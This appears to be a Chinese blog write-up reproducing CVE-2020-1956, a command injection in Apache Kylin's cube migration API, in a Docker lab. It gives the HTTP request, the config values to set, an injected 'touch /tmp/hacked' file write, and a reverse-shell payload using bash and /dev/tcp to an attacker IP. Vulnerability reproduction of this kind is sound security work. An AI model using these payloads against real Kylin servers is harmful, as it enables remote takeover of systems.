[CVE-2020-1956] Apache Kylin远程命令执行漏洞复现
Apache Kylin是一个开源的、分布式的分析型数据仓库,提供Hadoop/Spark之上的 SQL 查询接口及多维分析(OLAP)能力以支持超大规模数据,最初由 eBay 开发并贡献至开源社区。它能在亚秒内查询巨大的表。
0x00 漏洞概述
漏洞编号:CVE-2020-1956。
Apache Kylin中存在一些RESTful API,可以将操作系统指令与用户输入的字符串拼接起来。由于未对用户输入内容做充分校验,攻击者可以构造任意系统命令执行。
影响版本:
- Kylin 2.3.0-2.3.2
- Kylin 2.4.0-2.4.1
- Kylin 2.5.0-2.5.2
- Kylin 2.6.0-2.6.5
- Kylin 3.0.0-alpha
- Kylin 3.0.0-alpha2
- Kylin 3.0.0-beta
- Kylin 3.0.0-3.0.1
利用条件:
- 维持已登录状态
- 开启了相关配置
0x01 镜像部署
Kylin的环境非常复杂,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的组件需要安装配置。好在官方提供了做好的Docker:
docker pull apachekylin/apache-kylin-standalone:3.0.1
层数很多,且每层都不小。
docker run -d -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1
需要等待Kylin完成初始化(1-2分钟),其它端口(如8088、8032等)的服务都会先于Kylin运行起来。
默认账户为admin/KYLIN,进入后可以看到预置的模型。
0x02 漏洞补丁
漏洞补丁:KYLIN-4426 Refine CliCommandExecutor · apache/kylin@9cc3793 (github.com)。
漏洞位于CubeService.java的migrateCube()
函数,其中对待执行命令做格式化的String.format()
未能做到充分过滤,导致RCE。涉及的参数有:srcCfgUri
、dstCfgUri
、projectName
。
Migrate Cube
接口文档显示需要对路径传入两个参数:cube
和project
。在Kylin页面的表格中可以看到
选择第一行的kylin_sales_cube
以及对应的learn_kylin
作为路径参数来构造请求。
POST /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate HTTP/1.1
Host: 192.168.223.133:7070
Pragma: no-cache
Accept: application/json, text/plain, */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=08D6BE841D58B37D716D40185D465C7A
Connection: close
得到一个500,有大量的报错信息可以查看:
One click migration is disabled
这条提示作为键msg
的值返回,可以想见是在代码中有硬编码的。回去看漏洞补丁的代码,就能发现这句话:
实际上就位于migrateCube
函数的开头。这里使用了config.isAllowAutoMigrateCube()
进行拦截,也就是加载了开头所说的“相关配置”。
配置项kylin.tool.auto-migrate-cube.enabled
默认为FALSE
(很不幸)。在使用Docker的大前提下,有两种修改该配置项的方法。持久性的修改需要进入容器,修改其中的conf/kylin.properties文件,自行添加kylin.tool.auto-migrate-cube.enabled=true
配置项,然后bin/kylin stop
+bin/kylin start
重启Kylin。此外还可以直接在页面进行暂时性的修改。
暂时性修改
在平台的System一栏选择Set Config。比较高级,不用查看整个配置文件,以键值方式进行更新。
配置立即生效。但是在进程重启或选择了本页的Reload Config后就会失效。
Source configuration should not be empty
在修改完配置后重新发起一个POST,此时得到的响应就发生了变化:
这对应了项目代码中对于非空的检查:变量srcCfgUri
和dstCfgUri
。在文件kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java中就能看到
这两个值同样来自于配置项,分别对应的是kylin.tool.auto-migrate-cube.src-config
和kylin.tool.auto-migrate-cube.dest-config
。
kylin/core-common/src/main/java/org/apache/kylin/common/KylinConfigBase.java中使用了getOptional
获得配置。
配置这两个参数就是使用前面配置kylin.tool.auto-migrate-cube.enabled
同样的方法。关注一下kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java的1133行开始的命令格式化工作,在打过补丁后,此处会调用CliCommandExecutor.checkParameter
来检查我们能够控制的变量srcCfgUri
和dstCfgUri
。
于是一目了然,这两个变量直接表示命令注入的关键参数。
0x03 利用流程
任意写文件
尝试用变量destCfgUri
承载系统命令。再次去页面Set Config,先将srcCfgUri
配置为/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie
(注意不是变量自身作为键,而是其对应的配置项作为键),再将destCfgUri
配置为/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/hacked; echo
,试图写入一个名为hacked的文件。
再发起一个与先前一样的POST请求,这次会得到200状态(可能有一点延迟)。
去Docker查看,发现写入成功!
反弹Shell
写文件成功,写反弹Shell似乎也就问题不大了。在之前的基础上,将kylin.tool.auto-migrate-cube.dest-config
配置为/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/192.168.31.197/9527 0>&1; echo
,然后执行同样的POST。不同于写文件任务,监听在主动断开前保持工作,所以这次POST将会一直处在等待响应的状态。
攻击机很快就拿到了Shell:
Over!
[CVE-2020-1956] Apache Kylin远程命令执行漏洞复现
原文:https://www.cnblogs.com/4thrun/p/15265622.html